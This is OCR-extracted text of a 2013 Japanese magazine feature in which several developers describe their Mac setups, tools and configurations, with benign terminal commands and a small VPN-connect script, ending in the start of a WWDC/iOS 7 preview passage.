筆者のデスクまわり。ネットワークエンジニアらしく、USBシリアル変換ケーブ
ルも常備（！）

注1） 自己換装するとAppleの保証は受けられなくなります。

開発するならやっぱりMacですよね？
第2特集

ネットワーク
エンジニアも
Macだ！

4
Mac使いの
開発者の手の内
「デスクトップ拝見！」

氏名  西村篤（にしむら あつし）
所属  ㈱ IDCフロンティア
Mac使用歴  4年
使用機種  iMac、MacBook Air

2011年中途入社　前々職では基幹
系システムのプログラミング経験
あり。現在はバックボーンネット
ワークの設計、構築、運用に携わる。

プロフィール
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screenコマンドで接続した後、
セッションを切る時にはc＋
A、c＋Æを必ずします。こ
れを怠って抜くとMacが強制
リブートしてしまうので注意が
必要です。

　次に使用アプリについて2つ
紹介します。

  iTerm2
（ターミナルソフト）

　標準のターミナルでもタブ等
が使えていいのですが、ログ保
存方法に少々不満があり、筆者
は iTerm2を使用しています。
ターミナルではscriptコマンド
でログ保存するか、それまでの
結果を保存するかの2通りしか
ないのですが、iTerm2では
［Shell］→［Log］→［Start］で ロ
グ保存ができます。iTerm2な
らではのよく使う機能として、
画面を水平や垂直に分割して
セッションを開くことができま
す。通常はタブかウィンドウを
切り替えながら他のセッション
に移ったりするのですが、1つ
のウィンドウで複数セッション
を確認できるので比較する時な
どとても便利です。
　次によく使う機能は背景透過
です。これはデフォルトのター
ミナルでもできるのですが、
MacBook Airの狭いデスクトッ
プでは、ありがたい機能です。
たとえば、作業手順書を見なが

　次に使用アプリについて2つ

よく使うターミナル
ソフトとtftpサーバ

らコマンドを打つ時など、ウィ
ンドウ切り替えをする必要なく
iTerm2越しで確認しながら作
業を行うことができます。

  TftpServer
（tftpサーバ）

　ルータ、スイッチ等のOSを
バージョンアップするときに、
OSの転送をするためによく使
います。Macには標準で tftp

サーバがついていますが、ター
ミナルソフトから図1と図2の
コマンドを入力する必要がある
のでとても面倒です。
　このアプリケーションをイン

ストールすればGUI上からボ
タンで tftpサーバの起動停止が
可能になりとても簡単です。ま
たpathの変更もメニューから
できるので便利です。

　Macを仕事で使い始めたとき
はWindowsとは勝手が違い戸
惑いましたが、使い始めれば
あっという間になれてしまい不
便に感じることはとくにありま
せん。どの業種でもMacは問
題なく使えると思います。ﾟ

　Macを仕事で使い始めたとき

使い始めればすぐに
便利になるMac

注2） どのチップメーカーを使っているかはGoogleで検索すると出てきます。md_PL2303_MacOSX10.6up_v1.5.0.zip（OS X 10.6となっ
ていますがMountain Lionでも使用可能）

$ sudo lsof -i:69
$ sudo launchctl load -w /System/Library/LaunchDaemons/tftp.plist
$ sudo lsof -i:69
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
launchd 1 root 62u IPv4 0xfb07cea5da4f6b3b 0t0 UDP *:tftp
launchd 1 root 63u IPv6 0xfb07cea5da4f6cc3 0t0 UDP *:tftp

 ▼図1　コマンドで起動させる場合（tftpサーバの起動）

$ sudo launchctl unload /System/Library/LaunchDaemons/tftp.plist
$ sudo lsof -i:69

 ▼図2　コマンドで起動させる場合（tftpサーバの停止）

Part1
❹ネットワークエンジニアもMacだ！

iTerm2をよく使用してい
るが、背景を半透明にして
いる。そうすると他のドキュ
メントを参照しながら使え
る。詳細は本文参照

シグマ APO URS232-2（RS232C to USBコ
ンバーターケーブル）
メーカ倒産のため、販売されていない周辺
機器ですが、ネットワークエンジニアとし
てよく使います。Macでも利用可能（ただし、
ドライバは自分でインスト－ル）
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筆者のデスクまわり。MacBook Airから外部ディスプレイに接続し大きな画面で
仕事を行う。画面は校正中の本ゲラ

82 - Software Design

　はじめまして。さくらインター
ネットの菊地です。弊社のIaaS

サービス「さくらのクラウド」の
開発担当として、課金・決済シ
ステムや会員情報の連携といっ
た“裏方”のシステムを開発して
います。筆者の使用する開発言
語はJavaが中心ですが、連携
先システムや動作環境などによ
りPHP、Perlなども使用して
います。普段はコーディングで
1日を過ごす日々のため、会社
にいる時間の大半は自分の開発
環境のMacに触れる日常です。

　はじめまして。さくらインター

はじめに

 UNIXコマンド全般

　やはりUNIXコマンドがすぐ
に利用できるのは大きいですね。
デフォルトでインストールされ
ていないソフトウェアも、たい
ていはHomebrewであっさりイ
ンストールできます。アンイン
ストールも簡単で、非常に重宝
しています。

  AppleScriptとシェル
スクリプトの合わせ技

　自宅にいるとき、緊急対応な
どで社内ネットワークにVPN

業務（＋自宅）で
よく使うソフトや設定

接続する場合があります。私は
リスト1のようなスクリプトを
用いて接続しています。これを
使う場合、ネットワーク名は
ターミナルで打ち込みやすい半
角英数字にしておくと便利です。

  おまけ
「sayコマンド」

　英語の発音に微妙に自信がな
い場合、sayコマンドで確認で
きます。

say coalesce

 Mission Control

　ソフトというのとはちょっと
違いますが、おもに使っている

開発するならやっぱりMacですよね？
第2特集

Webサービスの
システム開発を
支えるMac事情

氏名  菊地清高（きくち きよたか）
所属  さくらインターネット㈱
新規事業室　開発者歴  8年ほど
Mac使用歴   プライベートでは開
発者として仕事する前から使用して
いるので、数えてみるともう15年？
使用機種  iMac（Rev.B）～PowerMac 
G4～Macbook Pro（Retina 15inch）

1978 年 生 ま れ。PC-98 で
BASICを触りプログラミング
に興味を持つ。最近は主にさ
くらのクラウド課金系を担当、
他には本業と関係ないプロ
ジェクトを企画・開発したり。
猫2匹と暮らしています。

5
Mac使いの
開発者の手の内
「デスクトップ拝見！」

プロフィール
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のはc＋¢ °による仮想デ
スクトップの切り替えです。基
本的に仮想デスクトップ1つに
対しアプリケーション1つを最
大化表示し、c＋¢ °でア
プリケーションを切り替えます。

  特定のウィンドウを全デスク
トップに表示

　デスクトップを切り替えても
ずっと表示しておきたいウィン
ドウがあるときは、Dockの対
象アイコンから［オプション］→
［割当先］→［すべてのデスクトッ
プ］を選択します。

  アニメーション効果をOFFにする
　アニメーションは、最初は良い
のですがそのうち遅く感じてきた
のでOFFにしました。ただし効
果があるのは「Mission Control」
と「アプリケーションウィンドウ」
だけで、デスクトップ切り替えに
ついては対象外です。ターミナ
ルで次のコマンドを入力します。

defaults write com.apple.dock 
expose-animation-duration -float 
0 && killall Dock

 Vim

　JavaでなければだいたいVim

を使って書いています。Vimは
キータイプが少なくて済むのが
ステキです。Javaの場合は
IntelliJ IDEAを使っています。

 iChat

　遠く離れたデータセンターの
現地スタッフなどとは主に
XMPPメッセージでやりとり
しています。

 GeekTool

　さすがにMacBook Airの11

インチディスプレイは小さいので、
外付けディスプレイをメインに
しています。11インチ側には
GeekToolでメモリ使用量や新着
メールなどを表示しています。

  KeyRemap4
MacBook

　Windowsでの日本語／アルファ
ベット切り替えはa＋◊キーで
した。Macではw＋f
ですが、たまにWindowsを触ら
なければならないときに混乱して

しまいます。というわけで、Mac/

Windowsともに◊キーで切り替
えられるように設定しています。
設定方法は、次のとおりです。
［ For Japanese ］ →［ Change 

Backquote(`) Key］→［Backquote(`) 

to KANA/EISUU (toggle)］

　Internet Explorerでしか動
かないWebフォームとかが困
りものです。とはいえ業務上使
わざるを得ない場合もあるので、
そういうときはWindows機に
リモートデスクトップで接続し、
そこで処理するようにしてます。

　以上、Macを使ってみて思っ
たことをつらつら書いてみまし
た。実のところ、私のMacでの
開発環境って「がんばれば
Windowsでもできるよ」というも
のばかりです。でも「Macならが
んばらなくてもできるよ」という
のが一番ありがたいです。ﾟ

　Internet Explorerでしか動

Macで困ること

　以上、Macを使ってみて思っ

まとめ

#!/bin/sh
VPNLogin() {
# AppleScriptを実行
/usr/bin/osascript << __EOF__
tell application "System Events"
   tell current location of network preferences
       set VPNservice to service "$1"
       if exists VPNservice then connect VPNservice
   end tell
end tell
__EOF__
}
VPNLogin "$1"

# 接続が完了するまで待つ
sleep 10

# ゲートウェイ設定
addr=$(ifconfig ppp0 ¦ awk '/inet / { print $2; }')
sudo route add 172.16.0.0/12 "$addr"

 ▼リスト1　vpnc.sh "ネットワーク名 "

Part1
❺Webサービスのシステム開発を支えるMac事情

GeekToolでシステム
の情報を表示してい
るところ。dfコマン
ドでディスク利用状
況（左上）、メモリとか
プロセス状況（左下）、
時計の表示（右下）

iTerm2。本文中で
は特に触れていませ
んが、tmuxを愛用
しています。デフォ
ルト設定です
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　Webアプリケーションや iOS

アプリの開発現場ではMacBook

をよく見かけますが、最近はエ
ンタープライズシステムの開発
でもMacBook Airを使われてい
る方を見かける機会が増えまし
た。FreeBSDの開発者たちは
すでに数年前からMacBook Pro

やMacBook Airを使う方がかな
りの割合にのぼります。理由は
いくつかあります。ここでは私
の開発環境に関してや、Mac

Bookを活用している開発者が
どのようなスタイルで開発をし
ているのかを紹介します。

　Webアプリケーションや iOS

エンタープライズ分野
でもMac増加中

　MacBookには最初からすべ
てがそろっています。Windows

でUNIX的な環境をそろえよう
とした場合、なにかとセット
アップが必要です。Mac OS X

にはFreeBSDのユーザランド
が移植されており、UNIXマシ
ンとしてすぐに使い出すことが
できます。UNIXを好む開発者
がMacBookをよく使うのはこ
うした理由があります。
　デスクトップPCであれば
UbuntuやFreeBSDをインス
トールして開発に使いますが、
ノートPCとなると話は別です。

　MacBookには最初からすべ

なぜMacBook？
サスペンド・レジュームが正し
く動作し、電力効率がよく、
GPUの性能を発揮できる環境
をLinux/FreeBSDで構築しよ
うとした場合、ノートPCは手
間がかかります。MacBookに
はそうした手間がありません。

　MacBookを開発に使う場合、
Parallels Desktop for Mac や
VMware Fusionなどの仮想環境
を使い複数のOSを常に起動す
るような使い方をしています。こ
れは自分に限らず他の開発者に
も共通している印象を受けます。
　たとえばあるエンタープライズ

　MacBookを開発に使う場合、

MacBookを使う
開発者の開発スタイル

アプリケーションはフルスクリーンで起動。仮想環境を複数たちあげて、常
に複数のOSを使用

開発するならやっぱりMacですよね？
9人9色のデスクトップ拝見＋新OS傾向と対策第2特集

MacBookによる
次世代開発スタイル
̶̶最強のマルチOS環境

氏名  後藤大地（ごとう だいち）
所属  BSDコンサルティング㈱ 取締役／㈲オ
ングス 代表取締役／FreeBSD committer
開発者歴  10年以上　 Mac使用歴  5年以上　
使用機種  MacBook Air（13inch Mid 2012）

エンタープライズシステムの設計、開発、
運用、保守から IT系ニュースの執筆、IT
系雑誌や書籍における執筆まで幅広く手
がける。カーネルのカスタマイズから業
務に特化したディストリビューションの
構築、自動デプロイ、ネットワークの構
築など、FreeBSD/Linuxを含め対応。
BSDコンサルティングでは企業レベルで
求められるFreeBSDの要求に柔軟に対応。

6
Mac使いの
開発者の手の内
「デスクトップ拝見！」

プロフィール
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システムを開発しているケースを
考えます。バックエンドがRed 

Hat Enterprise Linux（RHEL）と
Oracleのミドルウェアやデータ
ベース、ストレージがWindows 

Server、帳票の出力にはFile

Makerが使われ、エッジサーバ
としてFreeBSDでnginxが動い
ている、といったケースです。こ
のとき、仮想環境でWindows 

Server、RHEL、FreeBSDを動
作させます。それぞれフルスクリー
ンで動作させておき、必要になっ
たらタッチパッドを3本指でスワ
イプして利用するOSを切り替え
ます。Windows Serverに切り替
えると、もはやWindowsのノー
トPCにしか見えない感じです。
MacBookに本番環境と近い環境
を用意するわけです。このほう
が本番機へデプロイしやすく効
率がよいといえます。
　仮想環境が十分に機能するの
で、アプリケーションをインストー
ルするOSにはとくにこだわりま
せん。たとえばApache HTTPd 

ServerはFreeBSDで構築する
のが便利だからFreeBSDへ、
PDFエディタはWindowsで動作
するものが便利だからWindows、
Oracle DatabaseはRHELがセッ
トアップしやすいからこちらへ、
といった具合です。適材適所で
使い分けます。

　MacBookを開発に使っている
開発者は移動しながらさまざま
な場所で開発する傾向がありま

　MacBookを開発に使っている

ssh(1)をフル活用
してどこでも開発

す。自分の場合もそうで
す。自社または自前でサー
バを運用していることが
多く、世界中どこにいて
も開発リソースにアクセ
スできる状況になってい
ることが多いように思い
ます。ssh(1)の使用方法
を熟知し、さまざまなネッ
トワーク環境から自前の
環境とリンクし、開発を
実施します。
　開発の要はエディタで
す。VimやEmacsなど
ターミナルで使用できる
多機能エディタを駆使し
ます。必要があればプラ
グインやエクステンション、モ
ジュールなどを開発してエディ
タそのものの機能を拡張します。
かといってターミナルでの開発
にこだわるのではなく、統合開
発環境が必要な場合には仮想環
境のWindowsに構築してそち
らで開発します。iOSアプリを
開発する場合にはXcodeを使い
ます。

　仮想環境を活用して常時なん
らかのビルドを実施していると
いった開発もしますので、ハー
ドウェアはオプションで引き上
げられる最高スペックにします。
ここはコストをかけても、開発
という目的から考えれば、その
見返りは十分に得られます。
Webアプリケーションのエッ
ジ部分の開発のみといったライ

　仮想環境を活用して常時なん

ハードはオプションで
ハイスペック化

トな場合には、デフォルトのス
ペックのまま使っている方も多
いように思います。
　CPU、メモリ、SSDを最高
オプションで購入し、開発でス
トレスを感じることがないよう
にしています。日本の開発者と
海外の開発者の違いとしては、
海外の開発者はスペックを重要
視してMacBook Proを、日本の
開発者は持ち運びの容易さを重
要視してMacBook Airを採用す
るケースが多いように思います。
　ここで紹介したような開発方
法をWindowsベースのノート
PCで実施することもできます
が、Windowsをベースにした場
合にはMac OS Xの仮想環境で
の利用や iOSアプリの開発と
いった面で課題が出てきます。
現状ではMac OS Xをベースに
しておくのが、なにかとバラン
スの良い方法だと思います。ﾟ

Part1

開発の主体はssh(1)でログインしてvim(1)で開
発。世界中どこにいても開発できる体制を構築

普段使っているMacBook Airのデスクトップ。
基本的になにも置かない

❻MacBookによる次世代開発スタイル̶̶ 最強のマルチOS環境



　　

Part1

86 - Software Design Sep.  2013 - 87

　モバイルデベロッパである私
にとってのMacの魅力は、お
もに次の3点です。

  直感的であり、長時間
使っていても疲れにくい

　Macは、ひとえに直感的で心
地いいと感じます。私はコード
を書いている最中はほぼキーボー
ドしか使いませんが、コードを
書く以外のことに費やす時間も
案外長く、毎日かなりの時間を
さまざまな用途で触ることにな
ります。Macの安心感のある洗
練されたUXが持つ一貫性や心

　モバイルデベロッパである私

私にとっての
Macの魅力

地よさが潜在的なストレスを軽
減するのでしょうか、さまざま
な用途で長時間利用していても
疲れを感じにくいです。Mac

Bookのようなノートタイプの場
合、止めるときは蓋を閉めるだ
けですし、使いたいときは開け
るだけなので、細かな気遣いの
必要がありません。
　仮想デスクトップ環境も秀逸
で、私は用途ごとにデスクトッ
プを分類して活用しています。
ショートカットで必要なウィン
ドウを一発で表示できるため、
いくつものウィンドウが重なり
何がどこにあるかを探さなけれ
ばならない煩わしさから解放し

てくれます。このような派手で
はなく些細だけど実はとても重
要なことの積み重ねが、Macの
醸
かも

し出す心地よさを演出してい
ると感じます。毎日長時間利用
するなら、私はMacを使いた
いと思います。

  デファクトの開発環境で
あることが多い

　これはモバイルデベロッパに
とって重要な要素です。Windows 

Phoneの開発などの特段の事情
がない限り、自ずとMacを選ぶこ
とになると言ったほうが正しいか
もしれません。iOSならほぼMac

を使うことになるでしょうし、
Androidでも実機が手軽に接続

エディタ用デスクトップを開いている私のデスクトップの一例。用途ごとに
デスクトップを分類して活用しています。左から、ブラウザで調べものをし
たり文書を読んだり何でもありの画面、テキストエディタ（Sublime Text）、
開発環境、ターミナル、コミュニケーションツールの順に並んでいます

開発するならやっぱりMacですよね？
第2特集 9人9色のデスクトップ拝見＋新OS傾向と対策

AndroidもiOSも
イケル。モバイルデ
ベロッパなら必然

氏名  江川崇（えがわ たかし）　
所属  Smartium㈱　開発者歴  約17年　
Mac使用歴  10年（ブランクあり）　
使用機種  15インチ MacBook Pro Retina
ディスプレイモデル（CPU：2.7GHzクアッ
ドコアIntel Core i7／Memory：16GB）

クリエイティブであり続けたいと思っ
ているモバイルデベロッパ。本業の9割
はAndroidに関係する何らかのこと。著
書に『Google Androidプログラミング入
門』（共著。アスキー・メディアワークス
刊）など。Google API Expert（Android）
の1人。

7
Mac使いの
開発者の手の内
「デスクトップ拝見！」

プロフィール
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できることや、開発ツールが基本
的にMacでの開発を想定してい
て他の機器よりも安定動作すると
いった優位性があります。

  CUIとGUIの環境が
両立している

　開発者にとっては、使いやす
いGUIと、bashやzshといった
シェル環境が両立している点も
魅力かもしれません。Macは
BSD UNIXベースなので、
UNIX系のオープンソースのビ
ルドや利用が手軽に行えます。
このことは、開発に必要な環境
や便利な環境を1台で用意しや
すいということを意味します。

　Mac以外のOSも利用します。
Windowsは、.NETなどのVisual 

Studioを使った開発をする場合
や、弥生会計のようにWindows

でしか動かないソフトを利用す
る場合に使います。Linuxは、
おもにAndroidやFirefox OSな
どのプラットフォームのビルドや、
時間がかかる計算処理を実行す
る場合に利用しています。かつ
てはVMwareなどの仮想マシン

　Mac以外のOSも利用します。

Macと他のコンピュータ
との使い分け

を利用していたのですが、徐々
に利用しなくなってしまいました。
その大きな理由の1つは、目的
や理由に最適化した専用の環境
を用意したほうがよいと思うた
めです。とくにLinuxには多く
のコアとメモリを積んだハイス
ペックな専用マシンを用意して
います。刹那的な環境が欲しい
場合には、Amazon EC2のイン
スタンスを借りることもあります。

　IDEは、Androidの開発が多
いのでおもにEclipseを、エディ
タはおもにSublime Textを使っ
ています。型制約が強い言語は、
Eclipseの入力補完の恩恵を大
いに受けることができます。
Eclipseは I/Oを多用するため、
ある程度高速なSSDを積んで
いることも重要ですが、Mac

Book Proはこの点を標準でク
リアしています。
　HTMLやJavaScript、Erlang

やRuby、シェルスクリプトと
いった強い型制約がないものは、
Sublime Textで開発していま
す。Sublime Textの素晴らし

　IDEは、Androidの開発が多

エディタ／IDE

い点は、プラグインでエディタ
の機能を自分好みにアレンジで
きる点です。用途に合わせて必
要な開発環境やルック＆フィー
ルをカスタマイズできるので、
あらゆる開発者にとってメリッ
トがあります。有料のソフト
ウェアですが試用は無料です。
ぜひ一度お試しください注1。

　最後に、モバイルデベロッパ
の1人として最近とくに重宝し
ている2つのお勧め周辺機器を
ご紹介します注2。

  INNOCUBE
　MHL、HDMI対応の小型プ
ロジェクタです。Androidや
iPhone/iPadに簡単につなげら
れるため、モバイルアプリのデ
モや、皆で実際に動かしながら
検討する際にとても便利です。
小さく軽いので気軽に持ち運び
できます。

Livescribe
　スマートペンと専用ノートが
セットになったデバイスです。
手書きの文字とそのときの音声
を記録し、Wi-FiでEvernoteに
保存できます。私は遠隔のメン
バーとオンラインで頻繁に打ち
合わせをしますが、Macの音声
出力を分岐させればクリアな音
声と手書きのメモをクラウドで
管理できます。ﾟ

　最後に、モバイルデベロッパ

周辺機器

注1） Sublime Text 2のチートシート　http://www.gsmproductions.com/misc/sublime.html
注2） Livescribeも INNOCUBEも最近になって日本での販売チャネルができましたので、日本でも簡単に入手できます。

Part1

使い込んで汚れてきた感のある
LivescribeINNOCUBEとAndroidタブレットをつなげた風景

❼Androidも iOSもイケル。モバイルデベロッパなら必然

http://www.gsmproductions.com/misc/sublime.html
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 Mac OS Xの魅力

　私がコンピュータで最も重視
するポイントは、いかに気持ち
よく扱えるかということです。
そこで注目すべき点は、UIと
レスポンスの早さです。どんな
にすごい機能を積んだOSでも
UIが使いにくかったり、レス
ポンスが遅いとイライラして投
げ捨てたくなります。iOSと

Macの魅力について
Mac OS XのUIは使いやすい
だけでなく、よく観察するとア
ニメーション1つ1つがとても
こだわっていて、使っていて気
持ちがいい演出になっています。
個々のアプリケーションのUI

にも一貫性があるため使いやす
いです。
　また、iOSアプリ開発を行っ
ている中で自然と使っていまし
た が、QuickLookと Spotlight

はとても便利です。QuickLook

は、アプリのリソースや資料を
専用のアプリを通さずに開ける

ため、気軽にサッと確認できて
助かります。Spotlightは、す
ぐごちゃごちゃになるデスク
トップやダウンロードフォルダ
から、目的のファイルを一瞬で
検索してくれます。この2つの
良いところはとにかく早いとこ
ろです。1秒でも早くコーディ
ングに戻りたいときに、このレ
スポンスの良さはとても重要で
す。

  MacBook Proの
魅力

　MacBook Proはノートパソ

筆者のデスクまわり。基本的にはここでMac miniを使用して開発を行っている。Mac
Book Proは机から離れた作業用。愛用のHHKは、週アスPLUS 1周年記念に作られた
墨／刻印モデル

Mac使いの
開発者の手の内
「デスクトップ拝見！」

プロフィール

開発するならやっぱりMacですよね？
第2特集

気持ちよく
コーディングが
行えるコンピュータ

氏名  森拓也（もり たくや）　
所属  ㈱ユビキタスエンターテ
インメント　ソフトウェアエ
ンジニア　開発者歴  7年ほど
Mac使用歴  3年ほど　
使用機種  Mac mini、
MacBook Pro

1987年生まれ。石川県出身。
2011年11月に株式会社ユビ
キタスエンターテインメント
に入社。入社以来、iOSアプ
リ開発で活躍中。ARを使っ
たアプリや画像処理を用いた
アプリを得意とする。

8
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コンとしてとても完成度が高く、
気に入っています。デスクトッ
プPCではWindowsを使うとき
もありますが、ノートパソコン
ではMacBook Proしか使いま
せん。コンパクトであり、発熱
が少ない点などの理由もありま
すが、決め手はキーボードです。
　日ごろデスクトップではMac 

mini＋Happy Hacking Keyboard 

Pro2（以降、HHK）をメインで
使っているため、キーボードは
US配列なことが第1条件です。
MacBook Proは注文時に JIS

配列とUS配列の選択が可能な
ところが実に良いです。パンタ
グラフ構造のキーはMacBook 

Airよりキーストロークが若干
深めに設計されていて、キー
タッチには少し強めの反発があ
ります。キーピッチは19mmで
あり、グラグラしない安定した
キートップのおかげで、HHK

から切り替わってもすぐに手に
馴染みました。キーボードの違
いでストレスを感じることが多
いですが、MacBook Proはす
んなり受け入れることができま
した。

エディタと
IDEについて

 常用エディタ

　最近はSublime Text2注1に浮
気気味ですが、メインのエディ
タはVimを使っています。Vim

を使い始めた理由は、慣れると

コーディング速度が上がり、使
いこなしていると玄人っぽく見
られると聞いたからです。実際
に使ってみるとHHKとの相性
が抜群で、すぐに馴染むことが
でき、今ではVimなしでは生
きられなくなりました。

 IDE

　IDEはXcode 4を使っていま
す。Xcode 4は iOSアプリ開発
はもちろん、iOSシミュレータ、
Instrumentsなどさまざまな
ツールが1つにまとまっている
ため、詳細なデバッグからアプ
リのアップロードまで可能です。
InstrumentsのLeaksはとくに便
利で、メモリリークを調べるとき
に多用しています。Xcode 4では
Interface Builderや Storyboard

を使ってUIを作成するのが一般
的ですが、私はコーディングだけ
でUIを作ることが好きです。

 プラグイン

　Xcode 4のプラグインとして、
ViEmu注2を導入しています。
ViEmuはエディタ上でVi/Vim

のコマンドを使うことができる
プラグインで、最近Xcode 4用
がリリースされました。以前か
らフリーで似たプラグインがい
くつかありましたが、動作が不
安定なものやコマンドが少ない
ものが多く、iOSアプリ開発者
でVim使いの人は頭を抱えて
いたと思います。有料で少し高
額ですが、Vim使いの人にはお
勧めのプラグインです。ﾟ

注1） http://www.sublimetext.com/
注2） http://www.viemu.com/

筆者の仕事に欠か
せない Xcode 4。
ViEmuプラグイ
ンにより、使い慣
れたVimの操作体
系で快適にコー
ディング作業を
行っている

Part1
❽ 気持ちよくコーディングが行えるコンピュータ

Mac miniのデス
クトップ。1920×
1080のデュアル
ディスプレイで作
業。デスクトップ
に置いているもの
は一時的なリソー
スファイルが多い

http://www.viemu.com/
http://www.sublimetext.com/
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　4年前に iPhoneアプリ開発を
やってみようと思い立ち、半ば
しかたなくMacBook Airを購入
したのがMacとの出会いでした。
その後、初めてのMacと格闘し
ているうちにすっかりとMacの
魅力に取りつかれてしまい、そ
の半年後にはメインで使ってい
たWindows PCを iMacに置き
換えました。現在は自宅でも会
社でもMacBook Pro Retina with 

Apple Thunderbolt Displayとい
う構成で、勉強会や出張用に
MacBook Airをもう1台保持し

　4年前に iPhoneアプリ開発を

Macを使いはじめた
理由

ています。
　たまに仕事の都合でWindows

やLinuxを使う機会がありますが、
その場合はParallels Desktopで
それらのOSを起動しています。

　デスクトップは基本的にまっ
さらです。作業用スペースとい
うイメージで、仕事中はスク
リーンショットやダウンロード
したファイル、一時的なドキュ
メントファイルなどで散らかっ
ていきますが、その仕事が落ち
着いたタイミングでデスクトッ
プ上のすべてのファイルをゴミ

　デスクトップは基本的にまっ

デスクトップは
まっさら

箱に入れるか適切なフォルダに
移動するかしてしまいます。

  XcodeとTerminal.
appとを行き来

　本業の iOSアプリ開発の最中
は「Xcode」と「Terminal.app」を
頻繁に行き来しています。ソー
スコードを書くのはTerminal

で、ビルドやデバッグするのは
Xcodeという使い分けです。そ
のため、XcodeとTerminalと
を瞬間的に切り替える必要があ
り、「TotalTerminal注1」の利用
が必須です。TotalTerminalで

XcodeとTerminal.

開発環境

開発環境としては、Xcodeを起動しつつ、コーディングをTerminal上のmacvim-
kaoriyaで行うスタイル

注1） http://totalterminal.binaryage.com/

開発するならやっぱりMacですよね？
第2特集 9人9色のデスクトップ拝見＋新OS傾向と対策

TerminalとVim、
Xcodeを快適に使うため
にMacをカスタマイズ

氏名  所友太（ところ ゆうた）　
TwitterID  @tokorom
Web  http://www.tokoro.me/
所属  クックパッド㈱
開発者歴  約12年　Mac使用歴  約4
年　 使用機種  MacBook Pro
（Retina）、MacBook Air、iMac

モバイルアプリ開発者で iOSア
プリ開発が主な仕事。最近は社
内のライブラリ開発を担当して
いる。著書『iPhoneプログラミ
ング UIKit詳解リファレンス』、
『詳解 EZアプリ（BREW）プログ
ラミング』（いずれもリックテレ
コム刊）

9
Mac使いの
開発者の手の内
「デスクトップ拝見！」

プロフィール

http://www.tokoro.me/
http://totalterminal.binaryage.com/
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wを2回叩くとTerminal

の表示をトグルする設定にし、

・Terminalでソースコードを
書いているときに実機での
動作確認をしたくなったら

w、w、w
＋RでXcodeに切り替えて
そのままRun

・Xcodeでのデバッグをした
後に再度ソースコードをい
じりたくなったらw、

wでTerminalを呼び戻
してコーディング

といった使い方をしています。

  Vimを愛用

　XcodeとTerminalを併用す
るのは「Vim」注2でコーディング
をしたいというのが一番大きな
理由です。VimでObjective-C

のコーディングをするために、
いくつかのpluginを入れていま
すが、

・vim-altr……ソースファイル
とヘッダファイルを瞬時に
切り替えるため

・ctrlp……特定のファイルをす
ぐに開くため。unite.vimや
FuzzyFinderでも良さそうです

・neocomplcache ＆ neosnippet
……コードスニペットをフル
活用しているため。スニペッ
トのキーワードを完全に記憶
してなくてもそれを補完してく
れるのが素敵です

あたりの利用頻度が高いです。そ
の他詳細にご興味がある方は
GitHubで公開しているdotfi les注3

をのぞいてみてください。

  キーボードはHHKB

　愛用しているキーボードは
「Happy Hacking Keyboard Pro

fessional Type-S（以降HHKB）」

です。一番気に入っているのは
左oキーが押しやすいところ
です。
　私はVimを愛用しているため
Vim以外でもJKHLキーで
上下左右に移動したいという欲
求があります。そのため、「Key

Remap4MacBook注4」で左o
キー（HHKBの左下隅に配置）と
JKHLキーを同時に押下し
たときに、それらを上下左右カー
ソル打鍵扱いにする設定をして
います。
　また、JKHLの良さは
ホームポジションのままカーソ
ル移動できるということですか
ら、左oキーの押下につい
てもホームポジションのまま行
いたいところです。それを実現
するには左手の小指の付け根あ
たりで左oキーを押し込む
（わかりづらいと思いますので
写真をご参照ください）必要が
あり、HHKBはそれを実現し
やすい数少ないキーボードの1

つとして手放せなくなっていま
す。ﾟ
 

注2） 具体的には「macvim-kaoriya」をTerminal上で使っています。
注3） https://github.com/tokorom/dotfiles
注4） https://pqrs.org/macosx/keyremap4macbook/index.html.ja

Part1

デスクトップには
基本何も置かな
い主義。作業中
にはさまざまな
データが置かれ
るが、終わったら
きれいに片付け
ていつもスッキリ

左手小指の付け根
で左oキーを
押し込んでいると
ころ

❾ TerminalとVim、Xcodeを快適に使うためにMacをカスタマイズ

https://pqrs.org/macosx/keyremap4macbook/index.html.ja
https://github.com/tokorom/dotfiles
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Part2では、今秋の正式リリースが発表された iOS 7とMac OS X 
Mavericksの情報から、新OSについての傾向と対策を展望します。
Macでアプリ開発をはじめるならいまです！

まえがき

　Appleによる毎年恒例の世界開発者会議
（Apple Worldwide Developers Conference、
以降WWDC）が、今年も米サンフランシスコ
にて開催されました（写真1）。6月10日から14

日まで、最新のソフトウェア技術の発表や
Appleのエンジニアとの交流など、開発者の祭
典とも呼べるイベントに筆者も4年ぶりに参加
してきました。
　次期 iOSや新しいデバイスの噂など、開発者
の高まる期待に応えるかのように参加チケット
が2分足らずで完売する事態にもなり、開催前
からWWDCの話題がニュースになることも少
なくありませんでした。すでにキーノートスピー
チのビデオをご覧になった方も多いと思います

が、新しいデバイスの発表はなかったものの、
iOS 7やOS X Mavericks、Mac Proの発表な
ど話題に事欠かない盛りだくさんの内容でした。
　5日間を通して発表された技術セッションの
内容は秘密保持契約の範囲にあるため、ここで
は詳細にお伝えできませんが、今後の iOSや
OS Xのアプリケーション（以降アプリ）開発に
おける傾向と対策を筆者の視点でお伝えいたし
ます。

iOS 7が魅せた
モバイルOSの未来

 一新したUIデザイン

　開発者の多くが期待に胸を膨らませていた
iOS 7は、デザインが大幅に変更されて発表さ
れました。スキュアモーフィズム注1からフラッ
トデザインへ、見た目も操作感も大きく変わっ
たユーザインターフェースに、発表直後はさま
ざまな意見が飛び交いました（写真2）。
　筆者はどちらかというと好意的に受け止めて
いますが、現地で何人かの開発者に聞いてみる
と「ガッカリだった」「中途半端な印象を受ける」
といったネガティブな意見もありました。もち
ろんデザインに関する意見はまさに十人十色で、
とくに iPhoneを所有するようなデザインへの
関心が高いユーザには、新しいデザインへの期

中野洋一（なかの よういち）　ドリームガーデンソフトウェア  URL  http://www.dreamg.com/

注1） 現実世界のものの特徴を取り込むデザイン手法。

開発するならやっぱりMacですよね？
9人9色のデスクトップ拝見＋新OS傾向と対策第2特集

写真1　WWDC会場前の街並み ▼

秋まで待てない！　
iOS 7＆Mavericks
アプリ開発へのプロローグ

http://www.dreamg.com/
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待と不安が入り交じる複雑な気持ちを抱かれて
いると思います。iOSが誕生した2007年から
いままで貫き通した画面デザインから、iOS 7

で一新されたデザインコンセプトに開発者はも
とよりユーザまでもが衝撃を受けたはずです。
　また、いままで慣れ親しんだ画面デザインが
変わることは、ユーザにとってストレスに感じ
ることもあるでしょう。古い話になりますが、
Mac OS 9からMac OS Xへと変わるときも、
操作性やデザインが大きく変わり、多くのユー
ザが戸惑いを感じました。iOS 6から iOS 7へ
の進化はその記憶をよみがえらせます。しかし、
いまでは多くのユーザがOS Xのユーザインター
